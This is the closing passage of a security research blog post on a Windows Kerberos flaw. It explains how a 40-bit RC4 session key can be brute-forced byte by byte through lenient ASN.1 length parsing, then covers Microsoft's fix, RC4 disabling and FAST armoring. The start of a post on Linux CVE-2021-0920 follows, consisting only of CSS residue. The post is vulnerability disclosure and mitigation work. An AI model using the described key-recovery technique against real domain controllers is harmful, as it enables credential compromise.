<a href='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsKgGYAwo0YMFIjyz2Htl9U6igMxgQULM7SMPuDKr4jsQckfpZSvEUSshnUpNK15rRJD5ZD9mjSOgFn7F2_vgCGr1HHHGXRuGQZmMqHwAV7c7JairJhIUONjxM7YVBkWxBdxC9MfuXPxfISUEzVaPeRG5EsvlL91sgnZs4gXMjApMLYcZq4oXy7ZEg/s1038/image6.png' style='display: block; padding: 1em 0; text-align: center;'><img src='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsKgGYAwo0YMFIjyz2Htl9U6igMxgQULM7SMPuDKr4jsQckfpZSvEUSshnUpNK15rRJD5ZD9mjSOgFn7F2_vgCGr1HHHGXRuGQZmMqHwAV7c7JairJhIUONjxM7YVBkWxBdxC9MfuXPxfISUEzVaPeRG5EsvlL91sgnZs4gXMjApMLYcZq4oXy7ZEg/s1038/image6.png' alt="Diagram showing ASN.1 DER structures for the timestamp and encrypted AS-REP part. It shows extending the first length field so there is an overlap between a final NUL character at the end of the timestamp string which overlaps with the second and third bytes of the 40 bit session key." title="Diagram showing ASN.1 DER structures for the timestamp and encrypted AS-REP part. It shows extending the first length field so there is an overlap between a final NUL character at the end of the timestamp string which overlaps with the second and third bytes of the 40 bit session key." border='0' style='max-height: 750px; max-width: 600px;' /></a>
<p></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Even though technically DER should expect the shortest form necessary to encode the length the Microsoft ASN.1 library doesn't enforce that when parsing so we can just repeat this length encoding trick to cover the remaining 4 unknown bytes of the key. As the exploit brute forces one byte at a time the maximum number of requests that we'd need to send to the KDC is 5 × 2</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-size: 0.6em; vertical-align: super;">8 </span></span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">which is 1280 requests as opposed to 2</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><span style="font-size: 0.6em; vertical-align: super;">40</span></span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> requests which would be around 1 trillion. </span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Even with such a small number of requests it can still take around 30 seconds to brute force the key, but that still makes it a practical attack. Although it would be very noisy on the network and you'd expect any competent EDR system to notice, it might be too late at that point.</span></p><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span style="font-family: Arial; font-size: 16pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space: pre-wrap;">The Fixes</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">The only fix I can find is in the KDC service for the domain controller. Microsoft has added a new flag which by default disables the RC4-MD4 algorithm and an old variant of RC4-HMAC with the encryption type of -133. This behavior can be re-enabled by setting the KDC configuration registry value </span><span style="font-family: Arial; font-size: 11pt; font-style: italic; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">AllowOldNt4Crypto</span><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. The reference to NT4 is a good indication on how long this vulnerability has existed as it presumably pre-dates the introduction of Kerberos in Windows 2000. There are probably some changes to the client as well, but I couldn't immediately find them and it's not really worth my time to reverse engineer it.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">It'd be good to mitigate the risk of similar attacks before they're found. Disabling RC4 is definitely recommended, however that can bring </span><a href="https://syfuhs.net/lessons-in-disabling-rc4-in-active-directory" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">its own problems</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">. If this particular vulnerability was being exploited in the wild it should be pretty easy to detect. Also unusual Kerberos encryption types would be an immediate red-flag as well as the repeated login attempts.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Another option is to enforce </span><a href="https://syfuhs.net/kerberos-fast-armoring" style="text-decoration-line: none;"><span style="color: #1155cc; font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space: pre-wrap;">Kerberos Armoring (FAST)</span></a><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> on all clients and KDCs in the environment. This would make it more difficult to inspect and tamper with Kerberos authentication traffic. However it's not a panacea, for example for FAST to work the domain joined computer needs to first authenticate without FAST to get a key they can then use for protecting the communications. If that initial authentication is compromised the entire protection fails.</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: Arial; font-size: 11pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></p></span>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-64817675625262302442022-08-10T16:00:00.004-07:002022-08-24T11:55:31.661-07:00The quantum state of Linux kernel garbage collection CVE-2021-0920 (Part I)<style type="text/css">@import url('https://themes.googleusercontent.com/fonts/css?kit=wJuDEFlUsDZt7lpAAPdLm9CoNqneSjGN6FUREF5POP9krml-9Eg4KzR8naUO0aF3kuG_eoWNft1SfWZjF8JeEg');.lst-kix_wm3dnufq67dx-7>li:before{content:"- "}.lst-kix_wm3dnufq67dx-8>li:before{content:"- "}ol.lst-kix_iptxq54yrrnf-3.start{counter-reset:lst-ctn-kix_iptxq54yrrnf-3 0}.lst-kix_u3opzkdcnklc-1>li{counter-increment:lst-ctn-kix_u3opzkdcnklc-1}.lst-kix_wm3dnufq67dx-1>li:before{content:"- "}.lst-kix_iptxq54yrrnf-4>li{counter-increment:lst-ctn-kix_iptxq54yrrnf-4}ol.lst-kix_mfudkcwv2w89-7.start{counter-reset:lst-ctn-kix_mfudkcwv2w89-7 0}.lst-kix_wm3dnufq67dx-0>li:before{content:"- "}.lst-kix_hk8k8itxmlfp-4>li{counter-increment:lst-ctn-kix_hk8k8itxmlfp-4}.lst-kix_8chkxhfzc2ds-3>li:before{content:"- "}.lst-kix_8chkxhfzc2ds-5>li:before{content:"- "}.lst-kix_8chkxhfzc2ds-4>li:before{content:"- "}.lst-kix_8chkxhfzc2ds-8>li:before{content:"- "}.lst-kix_8chkxhfzc2ds-7>li:before{content:"- "}.lst-kix_8chkxhfzc2ds-6>li:before{content:"- "}ol.lst-kix_58ja23nrczhl-0{list-style-type:none}ol.lst-kix_51hgl6mwb3et-2.start{counter-reset:lst-ctn-kix_51hgl6mwb3et-2 0}ol.lst-kix_58ja23nrczhl-3{list-style-type:none}ol.lst-kix_58ja23nrczhl-4{list-style-type:none}ol.lst-kix_58ja23nrczhl-1{list-style-type:none}ol.lst-kix_58ja23nrczhl-2{list-style-type:none}ol.lst-kix_58ja23nrczhl-7{list-style-type:none}ol.lst-kix_58ja23nrczhl-8{list-style-type:none}ol.lst-kix_58ja23nrczhl-5{list-style-type:none}.lst-kix_58ja23nrczhl-4>li{counter-increment:lst-ctn-kix_58ja23nrczhl-4}ol.lst-kix_58ja23nrczhl-6{list-style-type:none}ol.lst-kix_7y90gfloiotx-8.start{counter-reset:lst-ctn-kix_7y90gfloiotx-8 0}.lst-kix_5yi4tofw6s0z-1>li{counter-increment:lst-ctn-kix_5yi4tofw6s0z-1}.lst-kix_51hgl6mwb3et-0>li:before{content:"" counter(lst-ctn-kix_51hgl6mwb3et-0,decimal) ". "}.lst-kix_51hgl6mwb3et-1>li:before{content:"" counter(lst-ctn-kix_51hgl6mwb3et-1,lower-latin) ". "}.lst-kix_51hgl6mwb3et-2>li:before{content:"" counter(lst-ctn-kix_51hgl6mwb3et-2,lower-roman) ". "}.lst-kix_5oipgjcxugcr-0>li{counter-increment:lst-ctn-kix_5oipgjcxugcr-0}ol.lst-kix_j5vmamheymgq-4.start{counter-reset:lst-ctn-kix_j5vmamheymgq-4 0}.lst-kix_51hgl6mwb3et-3>li:before{content:"" counter(lst-ctn-kix_51hgl6mwb3et-3,decimal) ". "}ol.lst-kix_8mkn8rg9im4a-0.start{counter-reset:lst-ctn-kix_8mkn8rg9im4a-0 0}.lst-kix_51hgl6mwb3et-4>li:before{content:"" counter(lst-ctn-kix_51hgl6mwb3et-4,lower-latin) ". "}.lst-kix_51hgl6mwb3et-6>li:before{content:"" counter(lst-ctn-kix_51hgl6mwb3et-6,decimal) ". "}.lst-kix_51hgl6mwb3et-5>li:before{content:"" counter(lst-ctn-kix_51hgl6mwb3et-5,lower-roman) ". "}.lst-kix_whw4pjgxp3w1-2>li:before{content:"- "}.lst-kix_hk8k8itxmlfp-0>li:before{content:"" counter(lst-ctn-kix_hk8k8itxmlfp-0,decimal) ". "}.lst-kix_51hgl6mwb3et-8>li:before{content:"" counter(lst-ctn-kix_51hgl6mwb3et-8,lower-roman) ". "}.lst-kix_whw4pjgxp3w1-1>li:before{content:"- "}.lst-kix_51hgl6mwb3et-7>li:before{content:"" counter(lst-ctn-kix_51hgl6mwb3et-7,lower-latin) ". "}.lst-kix_whw4pjgxp3w1-0>li:before{content:"- "}ol.lst-kix_mfudkcwv2w89-2.start{counter-reset:lst-ctn-kix_mfudkcwv2w89-2 0}.lst-kix_hk8k8itxmlfp-3>li:before{content:"" counter(lst-ctn-kix_hk8k8itxmlfp-3,decimal) ". "}.lst-kix_hk8k8itxmlfp-2>li:before{content:"" counter(lst-ctn-kix_hk8k8itxmlfp-2,lower-roman) ". "}.lst-kix_hk8k8itxmlfp-4>li:before{content:"" counter(lst-ctn-kix_hk8k8itxmlfp-4,lower-latin) ". "}.lst-kix_hk8k8itxmlfp-1>li:before{content:"" counter(lst-ctn-kix_hk8k8itxmlfp-1,lower-latin) ". "}.lst-kix_hk8k8itxmlfp-5>li:before{content:"" counter(lst-ctn-kix_hk8k8itxmlfp-5,lower-roman) ". "}ul.lst-kix_9gryrzygx46m-6{list-style-type:none}ul.lst-kix_9gryrzygx46m-5{list-style-type:none}ul.lst-kix_9gryrzygx46m-4{list-style-type:none}ul.lst-kix_9gryrzygx46m-3{list-style-type:none}ul.lst-kix_9gryrzygx46m-8{list-style-type:none}ul.lst-kix_9gryrzygx46m-7{list-style-type:none}.lst-kix_5yi4tofw6s0z-8>li{counter-increment:lst-ctn-kix_5yi4tofw6s0z-8}.lst-kix_wm3dnufq67dx-2>li:before{content:"- "}ol.lst-kix_5yi4tofw6s0z-4.start{counter-reset:lst-ctn-kix_5yi4tofw6s0z-4 0}.lst-kix_wm3dnufq67dx-3>li:before{content:"- "}.lst-kix_wm3dnufq67dx-4>li:before{content:"- "}ol.lst-kix_iptxq54yrrnf-8.start{counter-reset:lst-ctn-kix_iptxq54yrrnf-8 0}ol.lst-kix_7y90gfloiotx-3.start{counter-reset:lst-ctn-kix_7y90gfloiotx-3 0}.lst-kix_hk8k8itxmlfp-7>li:before{content:"" counter(lst-ctn-kix_hk8k8itxmlfp-7,lower-latin) ". "}.lst-kix_wm3dnufq67dx-5>li:before{content:"- "}.lst-kix_wm3dnufq67dx-6>li:before{content:"- "}.lst-kix_hk8k8itxmlfp-6>li:before{content:"" counter(lst-ctn-kix_hk8k8itxmlfp-6,decimal) ". "}.lst-kix_hk8k8itxmlfp-8>li:before{content:"" counter(lst-ctn-kix_hk8k8itxmlfp-8,lower-roman) ". "}ol.lst-kix_58ja23nrczhl-4.start{counter-reset:lst-ctn-kix_58ja23nrczhl-4 0}ul.lst-kix_wm3dnufq67dx-0{list-style-type:none}.lst-kix_yjo4cwnqbjp0-2>li:before{content:"- "}ul.lst-kix_wm3dnufq67dx-2{list-style-type:none}ul.lst-kix_wm3dnufq67dx-1{list-style-type:none}.lst-kix_yjo4cwnqbjp0-0>li:before{content:"- "}ul.lst-kix_wm3dnufq67dx-8{list-style-type:none}ul.lst-kix_wm3dnufq67dx-7{list-style-type:none}ul.lst-kix_wm3dnufq67dx-4{list-style-type:none}ul.lst-kix_9gryrzygx46m-2{list-style-type:none}ul.lst-kix_wm3dnufq67dx-3{list-style-type:none}ul.lst-kix_9gryrzygx46m-1{list-style-type:none}ul.lst-kix_wm3dnufq67dx-6{list-style-type:none}ul.lst-kix_9gryrzygx46m-0{list-style-type:none}ul.lst-kix_wm3dnufq67dx-5{list-style-type:none}.lst-kix_yjo4cwnqbjp0-6>li:before{content:"- "}.lst-kix_6l3lpr6ytz51-0>li:before{content:"- "}.lst-kix_yjo4cwnqbjp0-4>li:before{content:"- "}.lst-kix_whw4pjgxp3w1-6>li:before{content:"- "}.lst-kix_j5vmamheymgq-3>li{counter-increment:lst-ctn-kix_j5vmamheymgq-3}.lst-kix_7y90gfloiotx-7>li{counter-increment:lst-ctn-kix_7y90gfloiotx-7}.lst-kix_9prd8pa3o8y7-6>li{counter-increment:lst-ctn-kix_9prd8pa3o8y7-6}ol.lst-kix_9prd8pa3o8y7-7.start{counter-reset:lst-ctn-kix_9prd8pa3o8y7-7 0}.lst-kix_whw4pjgxp3w1-4>li:before{content:"- "}ol.lst-kix_u3opzkdcnklc-8.start{counter-reset:lst-ctn-kix_u3opzkdcnklc-8 0}.lst-kix_whw4pjgxp3w1-8>li:before{content:"- "}ol.lst-kix_51hgl6mwb3et-7.start{counter-reset:lst-ctn-kix_51hgl6mwb3et-7 0}ol.lst-kix_hk8k8itxmlfp-7.start{counter-reset:lst-ctn-kix_hk8k8itxmlfp-7 0}ol.lst-kix_p4ttii5g8cnl-7.start{counter-reset:lst-ctn-kix_p4ttii5g8cnl-7 0}ol.lst-kix_5oipgjcxugcr-8.start{counter-reset:lst-ctn-kix_5oipgjcxugcr-8 0}.lst-kix_j5vmamheymgq-7>li:before{content:"" counter(lst-ctn-kix_j5vmamheymgq-7,lower-latin) ". "}.lst-kix_9prd8pa3o8y7-5>li{counter-increment:lst-ctn-kix_9prd8pa3o8y7-5}.lst-kix_8chkxhfzc2ds-1>li:before{content:"- "}.lst-kix_u3opzkdcnklc-8>li{counter-increment:lst-ctn-kix_u3opzkdcnklc-8}.lst-kix_6l3lpr6ytz51-4>li:before{content:"- "}.lst-kix_6l3lpr6ytz51-6>li:before{content:"- "}.lst-kix_j5vmamheymgq-5>li:before{content:"" counter(lst-ctn-kix_j5vmamheymgq-5,lower-roman) ". "}.lst-kix_6l3lpr6ytz51-2>li:before{content:"- "}.lst-kix_5oipgjcxugcr-8>li{counter-increment:lst-ctn-kix_5oipgjcxugcr-8}.lst-kix_j5vmamheymgq-1>li:before{content:"" counter(lst-ctn-kix_j5vmamheymgq-1,lower-latin) ". "}.lst-kix_j5vmamheymgq-3>li:before{content:"" counter(lst-ctn-kix_j5vmamheymgq-3,decimal) ". "}.lst-kix_6l3lpr6ytz51-8>li:before{content:"- "}.lst-kix_7y90gfloiotx-6>li{counter-increment:lst-ctn-kix_7y90gfloiotx-6}.lst-kix_iptxq54yrrnf-5>li{counter-increment:lst-ctn-kix_iptxq54yrrnf-5}ol.lst-kix_hk8k8itxmlfp-8.start{counter-reset:lst-ctn-kix_hk8k8itxmlfp-8 0}.lst-kix_hk8k8itxmlfp-5>li{counter-increment:lst-ctn-kix_hk8k8itxmlfp-5}ol.lst-kix_p4ttii5g8cnl-6.start{counter-reset:lst-ctn-kix_p4ttii5g8cnl-6 0}.lst-kix_mfudkcwv2w89-1>li{counter-increment:lst-ctn-kix_mfudkcwv2w89-1}.lst-kix_58ja23nrczhl-3>li{counter-increment:lst-ctn-kix_58ja23nrczhl-3}.lst-kix_hk8k8itxmlfp-3>li{counter-increment:lst-ctn-kix_hk8k8itxmlfp-3}.lst-kix_u3opzkdcnklc-4>li:before{content:"" counter(lst-ctn-kix_u3opzkdcnklc-4,lower-latin) ". "}.lst-kix_u3opzkdcnklc-8>li:before{content:"" counter(lst-ctn-kix_u3opzkdcnklc-8,lower-roman) ". "}.lst-kix_u3opzkdcnklc-3>li:before{content:"" counter(lst-ctn-kix_u3opzkdcnklc-3,decimal) ". "}.lst-kix_u3opzkdcnklc-7>li:before{content:"" counter(lst-ctn-kix_u3opzkdcnklc-7,lower-latin) ". "}.lst-kix_iptxq54yrrnf-3>li{counter-increment:lst-ctn-kix_iptxq54yrrnf-3}ol.lst-kix_p4ttii5g8cnl-1.start{counter-reset:lst-ctn-kix_p4ttii5g8cnl-1 0}ol.lst-kix_j5vmamheymgq-8.start{counter-reset:lst-ctn-kix_j5vmamheymgq-8 0}ul.lst-kix_h1p96gz9lzq4-0{list-style-type:none}ul.lst-kix_h1p96gz9lzq4-1{list-style-type:none}.lst-kix_u3opzkdcnklc-0>li:before{content:"" counter(lst-ctn-kix_u3opzkdcnklc-0,decimal) ". "}ul.lst-kix_h1p96gz9lzq4-4{list-style-type:none}ul.lst-kix_h1p96gz9lzq4-5{list-style-type:none}ul.lst-kix_h1p96gz9lzq4-2{list-style-type:none}ul.lst-kix_h1p96gz9lzq4-3{list-style-type:none}ul.lst-kix_h1p96gz9lzq4-8{list-style-type:none}.lst-kix_mfudkcwv2w89-3>li{counter-increment:lst-ctn-kix_mfudkcwv2w89-3}ul.lst-kix_h1p96gz9lzq4-6{list-style-type:none}ul.lst-kix_h1p96gz9lzq4-7{list-style-type:none}.lst-kix_3a2g7o19wgb3-2>li{counter-increment:lst-ctn-kix_3a2g7o19wgb3-2}.lst-kix_p4ttii5g8cnl-5>li{counter-increment:lst-ctn-kix_p4ttii5g8cnl-5}.lst-kix_5oipgjcxugcr-1>li{counter-increment:lst-ctn-kix_5oipgjcxugcr-1}.lst-kix_3a2g7o19wgb3-4>li{counter-increment:lst-ctn-kix_3a2g7o19wgb3-4}ol.lst-kix_j5vmamheymgq-3.start{counter-reset:lst-ctn-kix_j5vmamheymgq-3 0}ol.lst-kix_u3opzkdcnklc-7.start{counter-reset:lst-ctn-kix_u3opzkdcnklc-7 0}.lst-kix_yjo4cwnqbjp0-8>li:before{content:"- "}ol.lst-kix_9prd8pa3o8y7-6.start{counter-reset:lst-ctn-kix_9prd8pa3o8y7-6 0}.lst-kix_g3pd9wzbzpzz-3>li:before{content:"- "}.lst-kix_g3pd9wzbzpzz-7>li:before{content:"- "}ol.lst-kix_p4ttii5g8cnl-2.start{counter-reset:lst-ctn-kix_p4ttii5g8cnl-2 0}.lst-kix_yjo4cwnqbjp0-1>li:before{content:"- "}ol.lst-kix_iptxq54yrrnf-7.start{counter-reset:lst-ctn-kix_iptxq54yrrnf-7 0}.lst-kix_yjo4cwnqbjp0-5>li:before{content:"- "}.lst-kix_yn2ql2u2egdg-0>li:before{content:"- "}ol.lst-kix_51hgl6mwb3et-1.start{counter-reset:lst-ctn-kix_51hgl6mwb3et-1 0}.lst-kix_dqkfvt9lb2wy-1>li:before{content:"- "}ol.lst-kix_iptxq54yrrnf-4.start{counter-reset:lst-ctn-kix_iptxq54yrrnf-4 0}.lst-kix_whw4pjgxp3w1-5>li:before{content:"- "}.lst-kix_51hgl6mwb3et-2>li{counter-increment:lst-ctn-kix_51hgl6mwb3et-2}.lst-kix_yn2ql2u2egdg-8>li:before{content:"- "}ol.lst-kix_u3opzkdcnklc-2.start{counter-reset:lst-ctn-kix_u3opzkdcnklc-2 0}.lst-kix_mfudkcwv2w89-6>li:before{content:"" counter(lst-ctn-kix_mfudkcwv2w89-6,decimal) ". "}ol.lst-kix_9prd8pa3o8y7-1.start{counter-reset:lst-ctn-kix_9prd8pa3o8y7-1 0}.lst-kix_dqkfvt9lb2wy-5>li:before{content:"- "}.lst-kix_yn2ql2u2egdg-4>li:before{content:"- "}.lst-kix_mfudkcwv2w89-2>li:before{content:"" counter(lst-ctn-kix_mfudkcwv2w89-2,lower-roman) ". "}.lst-kix_5oipgjcxugcr-6>li:before{content:"" counter(lst-ctn-kix_5oipgjcxugcr-6,decimal) ". "}.lst-kix_3a2g7o19wgb3-7>li:before{content:"" counter(lst-ctn-kix_3a2g7o19wgb3-7,lower-latin) ". "}.lst-kix_5oipgjcxugcr-2>li:before{content:"" counter(lst-ctn-kix_5oipgjcxugcr-2,lower-roman) ". "}.lst-kix_yzib59bcdnhj-4>li:before{content:"- "}.lst-kix_iptxq54yrrnf-4>li:before{content:"" counter(lst-ctn-kix_iptxq54yrrnf-4,lower-latin) ". "}.lst-kix_j5vmamheymgq-1>li{counter-increment:lst-ctn-kix_j5vmamheymgq-1}ol.lst-kix_u3opzkdcnklc-4.start{counter-reset:lst-ctn-kix_u3opzkdcnklc-4 0}.lst-kix_8chkxhfzc2ds-0>li:before{content:"- "}.lst-kix_3a2g7o19wgb3-3>li:before{content:"" counter(lst-ctn-kix_3a2g7o19wgb3-3,decimal) ". "}.lst-kix_iptxq54yrrnf-8>li:before{content:"" counter(lst-ctn-kix_iptxq54yrrnf-8,lower-roman) ". "}.lst-kix_j5vmamheymgq-8>li:before{content:"" counter(lst-ctn-kix_j5vmamheymgq-8,lower-roman) ". "}.lst-kix_mfudkcwv2w89-8>li{counter-increment:lst-ctn-kix_mfudkcwv2w89-8}.lst-kix_yzib59bcdnhj-0>li:before{content:"- "}.lst-kix_8mkn8rg9im4a-2>li{counter-increment:lst-ctn-kix_8mkn8rg9im4a-2}.lst-kix_h1p96gz9lzq4-0>li:before{content:"- "}.lst-kix_9prd8pa3o8y7-2>li:before{content:"" counter(lst-ctn-kix_9prd8pa3o8y7-2,lower-roman) ". "}.lst-kix_9prd8pa3o8y7-6>li:before{content:"" counter(lst-ctn-kix_9prd8pa3o8y7-6,decimal) ". "}.lst-kix_h1p96gz9lzq4-4>li:before{content:"- "}ol.lst-kix_9prd8pa3o8y7-2.start{counter-reset:lst-ctn-kix_9prd8pa3o8y7-2 0}.lst-kix_j5vmamheymgq-4>li:before{content:"" counter(lst-ctn-kix_j5vmamheymgq-4,lower-latin) ". "}.lst-kix_6l3lpr6ytz51-3>li:before{content:"- "}.lst-kix_h1p96gz9lzq4-8>li:before{content:"- "}ol.lst-kix_u3opzkdcnklc-3.start{counter-reset:lst-ctn-kix_u3opzkdcnklc-3 0}.lst-kix_p4ttii5g8cnl-7>li{counter-increment:lst-ctn-kix_p4ttii5g8cnl-7}.lst-kix_yzib59bcdnhj-8>li:before{content:"- "}.lst-kix_j5vmamheymgq-0>li:before{content:"" counter(lst-ctn-kix_j5vmamheymgq-0,decimal) ". "}.lst-kix_6l3lpr6ytz51-7>li:before{content:"- "}ol.lst-kix_5yi4tofw6s0z-8{list-style-type:none}ol.lst-kix_5yi4tofw6s0z-7{list-style-type:none}ol.lst-kix_5yi4tofw6s0z-6{list-style-type:none}.lst-kix_58ja23nrczhl-2>li{counter-increment:lst-ctn-kix_58ja23nrczhl-2}ol.lst-kix_5yi4tofw6s0z-5{list-style-type:none}.lst-kix_7y90gfloiotx-1>li{counter-increment:lst-ctn-kix_7y90gfloiotx-1}ol.lst-kix_3a2g7o19wgb3-1.start{counter-reset:lst-ctn-kix_3a2g7o19wgb3-1 0}.lst-kix_iptxq54yrrnf-6>li{counter-increment:lst-ctn-kix_iptxq54yrrnf-6}.lst-kix_8mkn8rg9im4a-4>li{counter-increment:lst-ctn-kix_8mkn8rg9im4a-4}ol.lst-kix_51hgl6mwb3et-8.start{counter-reset:lst-ctn-kix_51hgl6mwb3et-8 0}ol.lst-kix_7y90gfloiotx-2.start{counter-reset:lst-ctn-kix_7y90gfloiotx-2 0}.lst-kix_iptxq54yrrnf-2>li:before{content:"" counter(lst-ctn-kix_iptxq54yrrnf-2,lower-roman) ". "}.lst-kix_u3opzkdcnklc-3>li{counter-increment:lst-ctn-kix_u3opzkdcnklc-3}ul.lst-kix_yn2ql2u2egdg-6{list-style-type:none}ul.lst-kix_yn2ql2u2egdg-5{list-style-type:none}ul.lst-kix_yn2ql2u2egdg-8{list-style-type:none}ul.lst-kix_yn2ql2u2egdg-7{list-style-type:none}ol.lst-kix_8mkn8rg9im4a-1.start{counter-reset:lst-ctn-kix_8mkn8rg9im4a-1 0}.lst-kix_p4ttii5g8cnl-0>li:before{content:"" counter(lst-ctn-kix_p4ttii5g8cnl-0,decimal) ". "}.lst-kix_p4ttii5g8cnl-3>li:before{content:"" counter(lst-ctn-kix_p4ttii5g8cnl-3,decimal) ". "}.lst-kix_iptxq54yrrnf-2>li{counter-increment:lst-ctn-kix_iptxq54yrrnf-2}.lst-kix_j5vmamheymgq-8>li{counter-increment:lst-ctn-kix_j5vmamheymgq-8}.lst-kix_p4ttii5g8cnl-5>li:before{content:"" counter(lst-ctn-kix_p4ttii5g8cnl-5,lower-roman) ". "}.lst-kix_p4ttii5g8cnl-6>li:before{content:"" counter(lst-ctn-kix_p4ttii5g8cnl-6,decimal) ". "}ol.lst-kix_51hgl6mwb3et-3.start{counter-reset:lst-ctn-kix_51hgl6mwb3et-3 0}.lst-kix_58ja23nrczhl-6>li{counter-increment:lst-ctn-kix_58ja23nrczhl-6}.lst-kix_7y90gfloiotx-8>li{counter-increment:lst-ctn-kix_7y90gfloiotx-8}ol.lst-kix_3a2g7o19wgb3-6.start{counter-reset:lst-ctn-kix_3a2g7o19wgb3-6 0}ol.lst-kix_58ja23nrczhl-5.start{counter-reset:lst-ctn-kix_58ja23nrczhl-5 0}ol.lst-kix_p4ttii5g8cnl-3.start{counter-reset:lst-ctn-kix_p4ttii5g8cnl-3 0}ol.lst-kix_5yi4tofw6s0z-0{list-style-type:none}ol.lst-kix_8mkn8rg9im4a-6.start{counter-reset:lst-ctn-kix_8mkn8rg9im4a-6 0}.lst-kix_58ja23nrczhl-5>li:before{content:"" counter(lst-ctn-kix_58ja23nrczhl-5,lower-roman) ". "}.lst-kix_p4ttii5g8cnl-8>li:before{content:"" counter(lst-ctn-kix_p4ttii5g8cnl-8,lower-roman) ". "}ol.lst-kix_5yi4tofw6s0z-4{list-style-type:none}.lst-kix_58ja23nrczhl-4>li:before{content:"" counter(lst-ctn-kix_58ja23nrczhl-4,lower-latin) ". "}ol.lst-kix_5yi4tofw6s0z-3{list-style-type:none}ol.lst-kix_5yi4tofw6s0z-2{list-style-type:none}ol.lst-kix_5yi4tofw6s0z-1{list-style-type:none}.lst-kix_58ja23nrczhl-2>li:before{content:"" counter(lst-ctn-kix_58ja23nrczhl-2,lower-roman) ". "}.lst-kix_g3pd9wzbzpzz-6>li:before{content:"- "}ol.lst-kix_3a2g7o19wgb3-8.start{counter-reset:lst-ctn-kix_3a2g7o19wgb3-8 0}ol.lst-kix_8mkn8rg9im4a-8.start{counter-reset:lst-ctn-kix_8mkn8rg9im4a-8 0}.lst-kix_yn2ql2u2egdg-1>li:before{content:"- "}.lst-kix_58ja23nrczhl-7>li:before{content:"" counter(lst-ctn-kix_58ja23nrczhl-7,lower-latin) ". "}ol.lst-kix_7y90gfloiotx-1{list-style-type:none}ol.lst-kix_7y90gfloiotx-0{list-style-type:none}.lst-kix_g3pd9wzbzpzz-4>li:before{content:"- "}ol.lst-kix_7y90gfloiotx-4.start{counter-reset:lst-ctn-kix_7y90gfloiotx-4 0}.lst-kix_dqkfvt9lb2wy-0>li:before{content:"- "}ol.lst-kix_7y90gfloiotx-7{list-style-type:none}ol.lst-kix_7y90gfloiotx-6{list-style-type:none}ol.lst-kix_7y90gfloiotx-8{list-style-type:none}ol.lst-kix_7y90gfloiotx-3{list-style-type:none}ol.lst-kix_7y90gfloiotx-2{list-style-type:none}ol.lst-kix_7y90gfloiotx-5{list-style-type:none}ol.lst-kix_7y90gfloiotx-4{list-style-type:none}.lst-kix_k47gmg94hbw2-5>li:before{content:"- "}ol.lst-kix_p4ttii5g8cnl-5.start{counter-reset:lst-ctn-kix_p4ttii5g8cnl-5 0}.lst-kix_mfudkcwv2w89-7>li:before{content:"" counter(lst-ctn-kix_mfudkcwv2w89-7,lower-latin) ". "}.lst-kix_yn2ql2u2egdg-3>li:before{content:"- "}ol.lst-kix_hk8k8itxmlfp-4.start{counter-reset:lst-ctn-kix_hk8k8itxmlfp-4 0}.lst-kix_mfudkcwv2w89-1>li:before{content:"" counter(lst-ctn-kix_mfudkcwv2w89-1,lower-latin) ". "}.lst-kix_dqkfvt9lb2wy-6>li:before{content:"- "}ol.lst-kix_p4ttii5g8cnl-8.start{counter-reset:lst-ctn-kix_p4ttii5g8cnl-8 0}.lst-kix_k47gmg94hbw2-3>li:before{content:"- "}.lst-kix_dqkfvt9lb2wy-8>li:before{content:"- "}.lst-kix_3a2g7o19wgb3-8>li:before{content:"" counter(lst-ctn-kix_3a2g7o19wgb3-8,lower-roman) ". 